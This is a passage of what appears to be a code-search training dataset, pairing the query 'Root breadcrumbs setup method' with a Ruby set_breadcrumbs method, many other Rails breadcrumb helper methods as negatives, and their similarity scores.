"def render_breadcrumb(options={})\n default_options = {\n :seperator => %(<span class=\"seperator\">></span>),\n :page => current_page,\n :without => nil\n }\n options = default_options.merge(options)\n bc = \"\"\n pages = breadcrumb(options[:page])\n pages.delete(Page.root)\n unless options[:without].nil?\n unless options[:without].class == Array\n pages.delete(options[:without])\n else\n pages = pages - options[:without]\n end\n end\n pages.each do |page|\n if page.name == current_page.name\n css_class = \"active\"\n elsif page == pages.last\n css_class = \"last\"\n elsif page == pages.first\n css_class = \"first\"\n end\n if (page == Page.language_root(session[:language]))\n if configuration(:redirect_index)\n url = show_page_url(:urlname => page.urlname)\n else\n url = index_url\n end\n else\n url = show_page_url(:urlname => page.urlname)\n end\n bc << link_to( h(page.name), url, :class => css_class, :title => page.title )\n unless page == pages.last\n bc << options[:seperator]\n end\n end\n bc\n end",
"def breadcrumbs_for_business_directory_theme \n breadcrumbs = \"\"\n if @text.present?\n breadcrumbs = \"You searched for #{truncate(@text, :length => 30)}\"\n breadcrumbs += \" in #{@postal_code}\" if @postal_code.present?\n elsif @postal_code.present? \n breadcrumbs = \"ZIP: #{@postal_code}\"\n end\n if @category\n if @text.present?\n breadcrumbs += \" in \"\n else\n options = {\n :category_id => nil,\n :iframe_width => params[:iframe_width],\n :iframe_height => params[:iframe_height],\n :layout => @layout,\n :page_size => params[:page_size]\n }\n breadcrumbs += link_to( \"Coupons: \", options )\n end\n if @category.parent \n breadcrumbs += \"#{link_to( h(@category.parent.name), pagination_link_params(@page).merge!( :category_id => @category.parent.to_param) )}: \"\n end\n breadcrumbs += link_to( h(@category.name), pagination_link_params(@page) )\n end\n breadcrumbs = \" \" if breadcrumbs.blank?\n content_tag( :div, breadcrumbs, :class => 'breadcrumbs' )\n end",
"def regular_compact_breadcrumbs(document)\n breadcrumb_links = []\n breadcrumb_links << add_campus_link(document) unless document.campus.nil?\n breadcrumb_links << add_parent_campus_link(document) unless document.parent_campus.nil? && !document.campus.nil?\n breadcrumb_links << build_repository_link(document)\n\n parents = document_parents(document)\n breadcrumb_links << parents[0, 1].map do |parent|\n link_to parent.label, solr_document_path(parent.global_id)\n end\n\n breadcrumb_links << '…'.html_safe if parents.length > 1\n\n safe_join(\n breadcrumb_links,\n aria_hidden_breadcrumb_separator\n )\n end",
"def breadcrumbs\n request_data[:breadcrumbs] ||= Bugsnag::Utility::CircularBuffer.new(@max_breadcrumbs)\n end",
"def render_breadcrumb ( menu , options )\n links = []\n item = current_item(menu)\n if item != nil\n links << render_breadcrumb_node(item, options)\n while item.parent != nil do\n if item.parent.is_a? Symbol\n links << link_to( 'Home', '/' , {:class=>options[:link_class]} ).html_safe + ' > '.html_safe\n break\n else\n links << render_breadcrumb_node(item.parent, options).html_safe + ' > '.html_safe\n item = item.parent\n end\n end\n end\n links = links.reverse\n links.empty? ? '' : content_tag('div', links.join(\"\\n\") , :class=>options[:div_class]).html_safe\n end",
"def extract_breadcrumb\n end",
"def show\n @breadcrumbs = [[\"Home\", root_url], [@facility.citizen,\"/citizens/#{@facility.citizen.id}?tab=facilities\"], [@facility, \"/facilities/#{@facility.id}\"]]\n end",
"def index\n @breadcrumbs = nil\n end",
"def breadcrumbs\n Set.new(parent? ? (parent.breadcrumbs + [self]) : [self])\n end",
"def crumbs\n [self]\n end",
"def breadcrumb_files\n Dir[*Gretel.breadcrumb_paths]\n end",
"def add_breadcrumb name, url = ''\n @breadcrumbs ||= []\n url = eval(url) if url =~ /_path|_url|@/\n @breadcrumbs << [name, url]\n end",
"def crumbs\n @crumbs ||= {}\n end",
"def show\n @breadcrumbs = [[\"Home\", root_url], [@bond.citizen,\"/citizens/#{@bond.citizen.id}?tab=finances\"], [@bond, \"/bonds/#{@bond.id}\"]]\n end",
"def goldberg_breadcrumbs\n render :file => \"#{RAILS_ROOT}/vendor/plugins/goldberg/app/views/goldberg/menu_items/_breadcrumbs.rhtml\", :use_full_path => false, :locals => {:crumbs => Goldberg.menu.crumbs}\n end",
"def breadcrumb(&block)\n config.breadcrumb = block\n end",
"def index\n @breadcrumbs = [[\"#{t(:accounting_plans)}\"]]\n init\n end",
"def add_breadcrumb name, url = ''\n\t\t@breadcrumbs ||= []\n\t\t url = eval(url) if url =~ /_path|_url|@/\n\t\t@breadcrumbs << [name, url]\n\tend",
"def crumbs_for(opts = {})\n klass = Redcrumbs.crumb_class\n\n klass.targetted_by(self).all(opts)\n end",
"def main_navigation\n nodes_stack = RailsAdmin::Config.visible_models(:controller => self.controller)\n node_model_names = nodes_stack.map{ |c| c.abstract_model.model_name }\n\n nodes_stack.group_by(&:navigation_label).map do |navigation_label, nodes|\n\n nodes = nodes.select{ |n| n.parent.nil? || !n.parent.to_s.in?(node_model_names) }\n li_stack = navigation nodes_stack, nodes\n\n li_a_home = link_to localizing_path(dashboard_path), class: 'pjax' do\n content_tag(:i, '', class: 'icon icon-home') + content_tag(:span, t('admin.actions.dashboard.menu'))\n end\n %{<li class=\"homelink\">#{li_a_home}</li>#{li_stack}} if li_stack.present?\n end.join.html_safe\n end",
"def to_breadcrumb_link\n case @user.class.name\n when 'NilClass'\n ['People', nil]\n when 'User'\n if @user.new_record?\n ['Sign up', nil]\n else\n ['User', users_path]\n end\n when 'Band'\n ['Band', bands_and_deejays_path]\n when 'Dj'\n ['DJ', bands_and_deejays_path]\n end\n end",
"def member_breadcrumbs\n add_breadcrumb(@period.name, url_for(@period), true, 'Coaching Period')\n end",
"def links\n @links ||= if @breadcrumb_key.present?\n # Reload breadcrumbs configuration if needed\n Gretel::Crumbs.reload_if_needed\n\n # Get breadcrumb set by the `breadcrumb` method\n crumb = Gretel::Crumb.new(context, breadcrumb_key, *breadcrumb_args)\n\n # Links of first crumb\n links = crumb.links.dup\n \n # Get parent links\n links.unshift *parent_links_for(crumb)\n\n links\n else\n []\n end\n end",
"def show\n add_breadcrumb proc { I18n.t('breadcrumbs.explore', default: 'explore') }, :research_path\n end",
"def index\n add_breadcrumb t(:'hyrax.controls.home'), root_path\n add_breadcrumb t(:'hyrax.dashboard.breadcrumbs.admin'), hyrax.dashboard_path\n add_breadcrumb t(:'hyrax.admin.sidebar.collections'), hyrax.my_collections_path if current_ability.admin?\n add_breadcrumb t(:'hyrax.admin.sidebar.collections'), hyrax.dashboard_collections_path unless current_ability.admin? \n collection_type_list_presenter\n managed_collections_count\n super\n end",
"def breadcrumb(*args)\n @breadcrumbs ||= []\n\n args.each_slice(2).map do |pair|\n crumb = Outpost::Breadcrumb.new\n crumb.title = pair[0]\n crumb.link = pair[1]\n\n @breadcrumbs.push crumb\n end\n end",
"def breadcrumb(object, level = 0)\n path = (\"../\" * level) + object.name + \".html\"\n link = link_to(object.name, path)\n\n if object.parent.kind_of?(RDoc::TopLevel)\n link\n else\n breadcrumb(object.parent, level+1) + \" > \" + link\n end\n end",
"def f_places_breadcrumb\n ancestor_list = @feature.nil? ? nil : @feature.closest_ancestors_by_perspective(current_perspective).drop(1)\n f_breadcrumb(ancestor_list)\n end",
"def parent_breadcrumb(options = {})\n render(options)[-2]\n end",
"def new\n build_breadcrumbs\n end",
"def new\n build_breadcrumbs\n end",
"def show\n add_breadcrumb_for_show\n end",
"def to_breadcrumb\n self.title\n end",
"def root_breadcrumb\n breadcrumb \"Outpost\", outpost_root_path\n end",
"def ignore_path_prefix_breadcrumb(context={})\n %w(/p/order/payment-gateway /p/order/pay /p/myorder /p/activity)\n end",
"def show\n breadcrumbs_for :show\n end",
"def type_and_parent_types_breadcrumbs(type)\n types = type.type_and_parent_types.reverse\n add_breadcrumb(types.first.full_name, aircraft_family_path(types.first.slug))\n types[1..-1].each do |t|\n add_breadcrumb(t.name, aircraft_family_path(t.slug))\n end\n end",
"def show\n add_breadcrumb \"Trainings\", :trainings_path, { :title => \"Trainings\" }\n end",
"def render_breadcrumb(options = {})\n options = {\n separator: \">\",\n page: @page,\n restricted_only: false,\n reverse: false,\n link_active_page: false\n }.merge(options)\n\n pages = options[:page]\n .self_and_ancestors.contentpages\n .published\n\n if options.delete(:restricted_only)\n pages = pages.restricted\n end\n\n if options.delete(:reverse)\n pages = pages.reorder(\"lft DESC\")\n end\n\n if options[:without].present?\n without = options.delete(:without)\n pages = pages.where.not(id: without.try(:collect, &:id) || without.id)\n end\n\n render \"alchemy/breadcrumb/wrapper\", pages: pages, options: options\n end",
"def index\n add_crumb 'Users', users_path\n add_crumb @user.name, user_path(@user)\n add_crumb 'Projects', user_projects_path(@user)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @projects }\n end\n end",
"def show\n add_breadcrumb :show, :show\n end",
"def breadcrumb_for(identifier, options={})\n options[:collection_tag] ||= 'ul'\n options[:collection_class] ||= 'breadcrumb'\n\n # Retreive the breadcrumbs trail and format them\n sections = find_breadcrumbs_trail(identifier)\n render_menu(sections, options)\n end",
"def breadcrumb current\n return [] if current.nil?\n result = Array.new\n result << current\n while current = current.parent\n result << current\n end\n return result.reverse\n end",
"def index\n add_breadcrumb \"Inicio\", :root_path\n add_breadcrumb \"#{@course_user.course.name} \", student_course_path(@course_user.course)\n end",
"def breadcrumbs(pages)\n klass = ->(total, index) {\n total == index ? 'is-active' : 'u-underline-on-hover is-hidden-mobile'\n }\n\n max_index = pages.length - 1\n\n pages.map.with_index do |(page, link), index|\n content_tag('li', class: klass.call(max_index, index)) do\n link_to(page, link)\n end\n end.join('').html_safe\n end",
"def set_breadcrumbs name\n case name \n when \"change_password\"\n add_breadcrumb \"Dashboard\", admin_root_path, :title => \"Dashboard\"\n add_breadcrumb \"Change Password\", admin_change_password_path, :title => \"Change Password\" \n else\n add_breadcrumb \"Dashboard\", admin_root_path, :title => \"Dashboard\"\n end\n end",
"def breadcrumbs(content)\n content_for(:breadcrumbs, content) if content\n end",
"def breadcrumb_name\n title\n end",
"def getPageBreadcrumb(unit, pageName)\n (!pageName || pageName == \"home\" || pageName == \"campus_landing\") and return []\n pageName == \"search\" and return [{ name: \"Search\", id: unit.id + \":\" + pageName}]\n pageName == \"profile\" and return [{ name: \"Profile\", id: unit.id + \":\" + pageName}]\n pageName == \"sidebar\" and return [{ name: \"Sidebars\", id: unit.id + \":\" + pageName}]\n p = Page.where(unit_id: unit.id, slug: pageName).first\n p or halt(404, \"Unknown page #{pageName} in #{unit.id}\")\n return [{ name: p[:name], id: unit.id + \":\" + pageName, url: \"/#{unit.id}/#{pageName}\" }]\nend",
"def breadcrumb_with_autohier(*args)\n # This method only deals with wiki pages; send the rest to the old method.\n if not @page then\n return breadcrumb_without_autohier args \n end\n elements = args.flatten\n elements.any? ? content_tag('p', args.join('>')+'>'+@page.short_title, :class=>'breadcrumb') : nil\n end",
"def index\n @breadcrumbs = [['Tax codes']]\n @tax_codes = current_organization.tax_codes.order(:code)\n @tax_codes = @tax_codes.page(params[:page])\n end",
"def acts_as_family_tree_breadcrumb(aaft_instance, sep=' > ')\n if aaft_instance.parent.nil?\n grandparent = aaft_instance.all_parent_relations.collect(&:parent_node).detect(&:parent)\n trail = grandparent.nil? ? [aaft_instance] : grandparent.all_parents + [grandparent, aaft_instance]\n else\n trail = aaft_instance.all_parents + [aaft_instance]\n end\n trail.collect do |r|\n block_given? ? yield(r) : r.to_s\n end.join(sep)\n end",
"def acts_as_family_tree_breadcrumb(aaft_instance, sep=' > ')\n if aaft_instance.parent.nil?\n grandparent = aaft_instance.all_parent_relations.collect(&:parent_node).detect(&:parent)\n trail = grandparent.nil? ? [aaft_instance] : grandparent.all_parents + [grandparent, aaft_instance]\n else\n trail = aaft_instance.all_parents + [aaft_instance]\n end\n trail.collect do |r|\n block_given? ? yield(r) : r.to_s\n end.join(sep)\n end",
"def index\n @render_breadcrumb = breadcrumb_path({:disable => \"Class\"})\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admission_categories }\n end\n end",
"def documentation_breadcrumb_for(page, options = {})\n options[:root_link] = options[:root_link].nil? ? t('documentation.helpers.documentation_breadcrumb_for.default_root_link') : options[:root_link]\n options[:class] ||= 'breadcrumb'\n\n String.new.tap do |s|\n s << \"<nav class='#{options[:class]}'><ul>\"\n\n if options[:root_link]\n s << \"<li><a href='#{documentation_doc_root.blank? ? '/' : documentation_doc_root}'>#{options[:root_link]}</a></li>\"\n end\n\n if page.is_a?(::Documentation::Page)\n page.breadcrumb.each do |child|\n s << \"<li><a href='#{documentation_doc_root}/#{child.full_permalink}'>#{child.title}</a></li>\"\n end\n end\n\n s << \"</ul></nav>\"\n end.html_safe\n end",
"def show\n add_breadcrumb @subcategory.title, category_subcategory_path(@category, @subcategory)\n end",
"def add_breadcrumb(name, url = nil)\n @breadcrumbs ||= []\n url = send(url) if url.is_a?(Symbol)\n name = send(name).to_s.titleize if name.is_a?(Symbol)\n @breadcrumbs << [name, url]\n end"
] |
[
"0.735429",
"0.7180779",
"0.7159015",
"0.70273346",
"0.70001906",
"0.69109005",
"0.6785538",
"0.67476326",
"0.6741683",
"0.66939044",
"0.66196",
"0.6616654",
"0.65914285",
"0.659079",
"0.6581506",
"0.6562057",
"0.6552254",
"0.650586",
"0.650586",
"0.6495125",
"0.6448991",
"0.642689",
"0.6413882",
"0.6395403",
"0.63420135",
"0.63327277",
"0.63261884",
"0.6302186",
"0.6301886",
"0.62985593",
"0.6292011",
"0.62874913",
"0.62821215",
"0.62791276",
"0.625344",
"0.6240966",
"0.62255013",
"0.62254584",
"0.6212116",
"0.6200881",
"0.6196932",
"0.61942214",
"0.61838025",
"0.6177212",
"0.61723244",
"0.61588484",
"0.61513275",
"0.61406404",
"0.6124175",
"0.60726875",
"0.60678244",
"0.60618275",
"0.6056189",
"0.6048055",
"0.602992",
"0.6027187",
"0.60053515",
"0.60049963",
"0.59914297",
"0.59758925",
"0.59636503",
"0.59530175",
"0.59521943",
"0.5938944",
"0.59373635",
"0.5929233",
"0.5920688",
"0.5907251",
"0.5895237",
"0.5868103",
"0.58648616",
"0.5862076",
"0.5862076",
"0.58414644",
"0.58399326",
"0.58217233",
"0.58126",
"0.5786054",
"0.57814264",
"0.57768303",
"0.5776447",
"0.57731694",
"0.5769468",
"0.5753619",
"0.5748394",
"0.57433945",
"0.57246405",
"0.5722309",
"0.5715734",
"0.5695623",
"0.5688683",
"0.5681352",
"0.56806535",
"0.5676281",
"0.5676281",
"0.56436217",
"0.5642294",
"0.5637211",
"0.56127465"
] |
0.6453565
|
21
|
Root breadcrumbs setup method. May be overridden or augmented by subclasses
|
def set_breadcrumbs
@breadcrumbs = []
add_breadcrumb "Home", root_path
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def auto_set_breadcrumb\n ariane.add(\"Home\", root_path, 1) if ariane.crumbs.empty? \n \n if self.action_name == \"index\"\n name = controller_name.titleize\n level = get_level || 2\n else\n name = \"#{action_name.titleize} #{controller_name.singularize.titleize}\"\n level = get_level || 3\n end\n\n ariane.add(name, request.fullpath, level)\n end",
"def breadcrumbs\n migajas_env[\"app.breadcrumbs\"] ||= Trail.new(migajas_env)\n end",
"def set_root_breadcrumb\n add_breadcrumb '<span class=\"fa fa-lg\"></span><span class=\"sr-only\">Top</span>'.html_safe, root_path\n end",
"def breadcrumb(&block)\n config.breadcrumb = block\n end",
"def breadcrumbs\n configuration.breadcrumbs\n end",
"def add_breadcrumbs\n breadcrumb_for \"index\" # base\n\n if action_name != \"index\"\n breadcrumb_for action_name\n end\n end",
"def breadcrumbs() [] end",
"def individual_breadcrumb\n add_breadcrumb \"Clients\", clients_path, :title => \"Clients\" \n add_breadcrumb \"Power Of Attorney\", '', :title => \"Power Of Attorney\" \n add_breadcrumb \"Principal Create\", '', :title => \"Principal Create\"\n end",
"def hardcoded_breadcrumbs\n [\n {\n title: \"Home\",\n url: \"/\",\n },\n {\n title: subtopic.parent.title,\n url: subtopic.parent.base_path,\n },\n {\n title: subtopic.title,\n url: subtopic.base_path,\n },\n ]\n end",
"def home_breadcrumbs(action=\"\")\n crumbs = []\n\n crumbs.push({ \"text\": t(\"defaults.home\"), \"link\": root_path })\n\n case action\n when \"api\"\n crumbs.push({ \"text\": \"API\" })\n\n when \"conferences\"\n crumbs.push({ \"text\": t(\"views.conference.list\") })\n end\n\n render \"partials/breadcrumbs\", crumbs: crumbs\n end",
"def breadcrumbs\n @crumbs ||= parent.nil? ? [] : (parent.breadcrumbs + [parent])\n end",
"def breadcrumbs\n breadcrumbs = link_to this_webapp.webapp_name, root_path, :class => 'first-breadcrumb'\n unless @breadcrumb.nil?\n breadcrumbs += content_tag(:label, \" > \")\n if @breadcrumb.kind_of? Picture\n picture = @breadcrumb\n @breadcrumb = @breadcrumb.gallery\n end\n breadcrumbs += parent_breadcrumbs_gallery(@breadcrumb)\n\n unless picture.nil?\n breadcrumbs += content_tag(:label, \" > \")\n breadcrumbs += content_tag(:label, picture.title, :class => 'end-breadcrumb')\n end\n end\n if @finish_breadcrumb\n breadcrumbs + \" > \" + @finish_breadcrumb\n else\n breadcrumbs\n end\n end",
"def breadcrumb\n add_breadcrumb \"Users\", persons_path if @rider.book\n add_breadcrumb \"Master book\", master_riders_path if @rider.is_master?\n\n add_breadcrumb @rider.book.person.first_name, person_path(@rider.book.person) if @rider.book\n add_breadcrumb @rider.book.number, person_book_path(@rider.book.person, @rider.book) if @rider.book\n if @rider.is_master?\n add_breadcrumb @rider.book.number, master_book_path(@rider.book) \n else\n add_breadcrumb @rider.book.number, book_rider_path(@rider.book, @rider)\n end\n add_breadcrumb @rider.name, book_rider_path(@rider.book, @rider) if @rider\n end",
"def build_breadcrumbs\n @breadcrumbs = [\n { :title => I18n.t(\"admin.sections.#{resource_collection_name}\"), :url => collection_path }\n ]\n @breadcrumbs << { :title => params[:action] } unless params[:action] == 'index'\n end",
"def root_breadcrumb\n breadcrumb \"Outpost\", outpost_root_path\n end",
"def assign_breadcrumb\n if page.present?\n self.page.breadcrumb ||= page.title\n end\n end",
"def assign_breadcrumb\n if page.present?\n self.page.breadcrumb ||= page.title\n end\n end",
"def the_breadcrumb(add_post_type = true)\n generate_breadcrumb(add_post_type)\n h.breadcrumb_draw\n end",
"def breadcrumbs\r\n\t\t\tself.parent.nil? ? [] : self.parent.breadcrumbs + [self]\r\n\t\tend",
"def breadcrumb_master\n add_breadcrumb \"Master Rider\", master_riders_path\n add_breadcrumb @rider.name, master_rider_path(@rider) if @rider\n end",
"def crumbs\n @crumbs ||= {}\n end",
"def set_breadcrumbs name\n case name \n when \"change_password\"\n add_breadcrumb \"Dashboard\", admin_root_path, :title => \"Dashboard\"\n add_breadcrumb \"Change Password\", admin_change_password_path, :title => \"Change Password\" \n else\n add_breadcrumb \"Dashboard\", admin_root_path, :title => \"Dashboard\"\n end\n end",
"def breadcrumbs\n home = link_to(image_tag('home.png', :class => 'home'), '/', :title => t('app.home'))\n breadcrumbs = [home] + crumbs.split(Breadcrumb.instance.delimiter)\n content_tag(:ul, breadcrumbs.map { |trail| content_tag(:li, trail) }, :id => 'breadcrumb')\n end",
"def add_resource_breadcrumb(resource)\n ancestor_nodes(resource).each do |node|\n @breadcrumbs << { name: node, url: url_for( action: :edit, id: node.id ) }\n end\n super\n end",
"def breadcrumb_with_autohier(*args)\n # This method only deals with wiki pages; send the rest to the old method.\n if not @page then\n return breadcrumb_without_autohier args \n end\n elements = args.flatten\n elements.any? ? content_tag('p', args.join('>')+'>'+@page.short_title, :class=>'breadcrumb') : nil\n end",
"def index\n @breadcrumbs = nil\n end",
"def breadcrumbs\n @breadcrumbs\n end",
"def breadcrumbs\n @breadcrumbs\n end",
"def breadcrumbs\n\t\trender :breadcrumbs\n\tend",
"def goldberg_breadcrumbs\n render :file => \"#{RAILS_ROOT}/vendor/plugins/goldberg/app/views/goldberg/menu_items/_breadcrumbs.rhtml\", :use_full_path => false, :locals => {:crumbs => Goldberg.menu.crumbs}\n end",
"def add_breadcrumb title, link = nil\n if link.nil?\n @breadcrumbs << { :title => title }\n else\n @breadcrumbs << { :title => title, :link => link }\n end\n end",
"def add_breadcrumb title, link = nil\n if link.nil?\n @breadcrumbs << { :title => title }\n else\n @breadcrumbs << { :title => title, :link => link }\n end\n end",
"def breadcrumbs\n Set.new(parent? ? (parent.breadcrumbs + [self]) : [self])\n end",
"def crumbs\n get_or_set_ivar \"@_crumbs\", []\n end",
"def extract_breadcrumb\n end",
"def new\n build_breadcrumbs\n end",
"def new\n build_breadcrumbs\n end",
"def breadcrumbs\n request_data[:breadcrumbs] ||= Bugsnag::Utility::CircularBuffer.new(@max_breadcrumbs)\n end",
"def setup\n @root = Tree::TreeNode.new(\"ROOT\", \"Root Node\")\n\n @child1 = Tree::TreeNode.new(\"Child1\", \"Child Node 1\")\n @child2 = Tree::TreeNode.new(\"Child2\", \"Child Node 2\")\n @child3 = Tree::TreeNode.new(\"Child3\", \"Child Node 3\")\n @child4 = Tree::TreeNode.new(\"Child4\", \"Grand Child 1\")\n @child5 = Tree::TreeNode.new(\"Child5\", \"Child Node 4\")\n\n end",
"def breadcrumb(*args)\n @breadcrumbs ||= []\n\n args.each_slice(2).map do |pair|\n crumb = Outpost::Breadcrumb.new\n crumb.title = pair[0]\n crumb.link = pair[1]\n\n @breadcrumbs.push crumb\n end\n end",
"def set_breadcrumb\n parent_breadcrumb( :pcp_subjects, pcp_subjects_path )\n set_breadcrumb_path( pcp_subject_pcp_members_path( @pcp_subject ))\n end",
"def get_breadcrumbs\n current = @product || @brand || @category || @page\n # BreadcrumbsMaker.build current, params\n make_breadcrumbs current\n end",
"def manageable_breadcrumbs(options = {})\n items = Helpers::NavigationBuilder.new\n yield items if block_given?\n\n options[:class] ||= \"\"\n options[:class] << \" breadcrumb\"\n options[:class].strip!\n\n content_tag(\"div\", options) do\n content_tag(\"ul\") do\n items.collect { |item|\n content_tag(\"li\", :class => item[:class]) do\n if item[:active]\n item[:label]\n else\n link_to(item[:label], item[:href])\n end\n end\n }.join(\"\").html_safe\n end\n end\n end",
"def setup_child_parent_links\n # Clear all links\n @items.each do |item|\n item.parent = nil\n item.children = []\n end\n\n @items.each do |item|\n # Get parent\n parent_identifier = item.identifier.sub(/[^\\/]+\\/$/, '')\n parent = @items.find { |p| p.identifier == parent_identifier }\n next if parent.nil? or item.identifier == '/'\n\n # Link\n item.parent = parent\n parent.children << item\n end\n end",
"def setup_child_parent_links\n # Clear all links\n @items.each do |item|\n item.parent = nil\n item.children = []\n end\n\n @items.each do |item|\n # Get parent\n parent_identifier = item.identifier.sub(/[^\\/]+\\/$/, '')\n parent = @items.find { |p| p.identifier == parent_identifier }\n next if parent.nil? or item.identifier == '/'\n\n # Link\n item.parent = parent\n parent.children << item\n end\n end",
"def breadcrumbs\n content_tag :ol, class: 'breadcrumb' do\n split_path = request.path.split('/').drop(1)\n concat content_tag :li, (link_to 'Home', '/')\n split_path.each_with_index do |p, i|\n concat content_tag :li, (link_to p.capitalize_each('-'), '/' + split_path.take(i+1).join('/'))\n end\n end\n end",
"def crumbs\n [self]\n end",
"def breadcrumbs(separator=\" / \")\n crumbs = env[\"PATH_INFO\"].split(\"/\").map {|path| { :path => path, :name => path } }\n crumbs[0] = { :path => \"/\", :name => \"projects\" }\n crumbs = crumbs[0..-2].inject([]) do |crumbs_so_far, current|\n crumbs_so_far << %(<a href=\"#{current[:path]}\">#{current[:name]}</a>)\n end << crumbs.last[:name]\n crumbs.join(separator)\n end",
"def breadcrumbs_for(category_leaf: nil, concept: nil, dataset: nil)\n # start with the root\n breadcrumb 'home', categories_path, match: :exact\n\n # basic breadcrumbs for dataset\n breadcrumb (dataset.name || ''), dataset_path(dataset) if dataset.present?\n\n return if category_leaf.nil?\n\n # build the breadcrumbs for the category's parent-tree\n category_leaf.ancestors.each do |category|\n breadcrumb (category.name || ''), category_path(category)\n end\n\n # ancestors doesn't include the leaf category (just it's parents)\n breadcrumb (category_leaf.name || ''), category_path(category_leaf)\n\n # finally, add the concept if it's there\n breadcrumb (concept.name || ''), concept_path(concept) if concept.present?\n end",
"def init_root_categories\n @root_categories ||= Category.top_level\n end",
"def add_breadcrumb name, url = ''\n\t\t@breadcrumbs ||= []\n\t\t url = eval(url) if url =~ /_path|_url|@/\n\t\t@breadcrumbs << [name, url]\n\tend",
"def setup_test_tree\n @root << @child1\n @root << @child2\n @root << @child3 << @child4\n end",
"def init_root binding, &block\n block.call(self)\n @is_first = @is_last = true\n @level = 0\n @item = nil\n @tabs ||= 0\n root = eval('@items',binding).find{|x| x.identifier == root_identifier}\n children_populate_recursive [root]\n end",
"def add_breadcrumb(name, *args)\n args_order_and_defaults = {\n url: nil,\n children: nil,\n store: true,\n i18n_scope: nil,\n separator: false,\n links: [],\n allow_humanize_name: true,\n custom_attributes: {}\n }\n options = args.extract_options!\n\n options_from_args = Hash[args.map.with_index do |arg, arg_index|\n key = args_order_and_defaults.keys[arg_index]\n [key, arg]\n end]\n\n options_for_call = args_order_and_defaults.merge(options_from_args).merge(options)\n _add_breadcrumb(name, options_for_call)\n end",
"def add_breadcrumb name, url = ''\n @breadcrumbs ||= []\n url = eval(url) if url =~ /_path|_url|@/\n @breadcrumbs << [name, url]\n end",
"def then_i_see_home_and_parent_links\n within \".gem-c-contextual-breadcrumbs\" do\n expect(page).to have_link(\"Home\")\n expect(page).to have_link(@parent[\"title\"])\n end\n end",
"def add_resource_breadcrumb(resource)\n ancestors = []\n if resource.new_record?\n if resource.parent_id\n ancestors = resource.parent.ancestors\n ancestors += [resource.parent]\n end\n else\n ancestors = resource.ancestors\n end\n\n ancestors.each do |ancestor|\n @breadcrumbs << { name: ancestor, url: url_for( action: :edit, id: ancestor.id ) }\n end\n\n super\n end",
"def breadcrumb\n Array(@breadcrumb)\n\tend",
"def breadcrumbs_for_business_directory_theme \n breadcrumbs = \"\"\n if @text.present?\n breadcrumbs = \"You searched for #{truncate(@text, :length => 30)}\"\n breadcrumbs += \" in #{@postal_code}\" if @postal_code.present?\n elsif @postal_code.present? \n breadcrumbs = \"ZIP: #{@postal_code}\"\n end\n if @category\n if @text.present?\n breadcrumbs += \" in \"\n else\n options = {\n :category_id => nil,\n :iframe_width => params[:iframe_width],\n :iframe_height => params[:iframe_height],\n :layout => @layout,\n :page_size => params[:page_size]\n }\n breadcrumbs += link_to( \"Coupons: \", options )\n end\n if @category.parent \n breadcrumbs += \"#{link_to( h(@category.parent.name), pagination_link_params(@page).merge!( :category_id => @category.parent.to_param) )}: \"\n end\n breadcrumbs += link_to( h(@category.name), pagination_link_params(@page) )\n end\n breadcrumbs = \" \" if breadcrumbs.blank?\n content_tag( :div, breadcrumbs, :class => 'breadcrumbs' )\n end",
"def crumbs\n @crumb_jar ||= CrumbJar.new(self)\n end",
"def breadcrumbs\n add_breadcrumb(@problem.name, problem_path(@problem))\n add_breadcrumb \"Solutions\", problem_solutions_path(@problem)\n end",
"def breadcrumbs(content)\n content_for(:breadcrumbs, content) if content\n end",
"def member_breadcrumbs\n add_breadcrumb(@assignment.period.name, url_for(@assignment.period), @assignment.period.can_view?(current_user), 'Coaching Period')\n if @assignment.group \n add_breadcrumb(@assignment.group.display_name, url_for(@assignment.group), @assignment.group.can_view?(current_user), 'Coaching Group')\n elsif @assignment.team\n add_breadcrumb(@assignment.team.display_name, url_for(@assignment.team), @assignment.team.can_view?(current_user), 'Team')\n end\n add_breadcrumb(@assignment.user.display_name, url_for(@assignment), true, 'Assignment')\n end",
"def member_breadcrumbs\n add_breadcrumb(@period.name, url_for(@period), true, 'Coaching Period')\n end",
"def add_breadcrumb_modulo\n add_breadcrumb breadcrumb('administracao.avaliacao.base')\n add_breadcrumb pluralize_model(TbPergunta), administracao_tb_perguntas_path\n end",
"def add_breadcrumb(name, url = nil)\n breadcrumbs << Crumb.new(name, url)\n end",
"def setup_default_structure!\n self.push_app_path(:root, Merb.root / 'slices' / self.identifier)\n \n self.push_path(:application, root_path('app'))\n self.push_app_path(:application, app_dir_for(:root) / 'app')\n \n app_components.each do |component|\n self.push_path(component, dir_for(:application) / \"#{component}s\")\n self.push_app_path(component, app_dir_for(:application) / \"#{component}s\")\n end\n \n self.push_path(:public, root_path('public'), nil)\n self.push_app_path(:public, Merb.dir_for(:public) / 'slices' / self.identifier, nil)\n \n public_components.each do |component|\n self.push_path(component, dir_for(:public) / \"#{component}s\", nil)\n self.push_app_path(component, app_dir_for(:public) / \"#{component}s\", nil)\n end\n end",
"def regular_compact_breadcrumbs(document)\n breadcrumb_links = []\n breadcrumb_links << add_campus_link(document) unless document.campus.nil?\n breadcrumb_links << add_parent_campus_link(document) unless document.parent_campus.nil? && !document.campus.nil?\n breadcrumb_links << build_repository_link(document)\n\n parents = document_parents(document)\n breadcrumb_links << parents[0, 1].map do |parent|\n link_to parent.label, solr_document_path(parent.global_id)\n end\n\n breadcrumb_links << '…'.html_safe if parents.length > 1\n\n safe_join(\n breadcrumb_links,\n aria_hidden_breadcrumb_separator\n )\n end",
"def add_redcrumbs_initializer\n template \"initializer.rb\", \"config/initializers/redcrumbs.rb\"\n end",
"def breadcrumb_name\n title\n end",
"def breadcrumbs(options = {})\n gretel_renderer.render(options)\n end",
"def index\n add_breadcrumb t(:'hyrax.controls.home'), root_path\n add_breadcrumb t(:'hyrax.dashboard.breadcrumbs.admin'), hyrax.dashboard_path\n add_breadcrumb t(:'hyrax.admin.sidebar.collections'), hyrax.my_collections_path if current_ability.admin?\n add_breadcrumb t(:'hyrax.admin.sidebar.collections'), hyrax.dashboard_collections_path unless current_ability.admin? \n collection_type_list_presenter\n managed_collections_count\n super\n end",
"def index \n add_breadcrumb \"Administrar\", :sections_path\n add_breadcrumb \"Recursos\", :resources_path \n end",
"def reload_if_needed\n load_breadcrumbs if reload?\n end",
"def index\n @breadcrumbs = [[\"#{t(:accounting_plans)}\"]]\n init\n end",
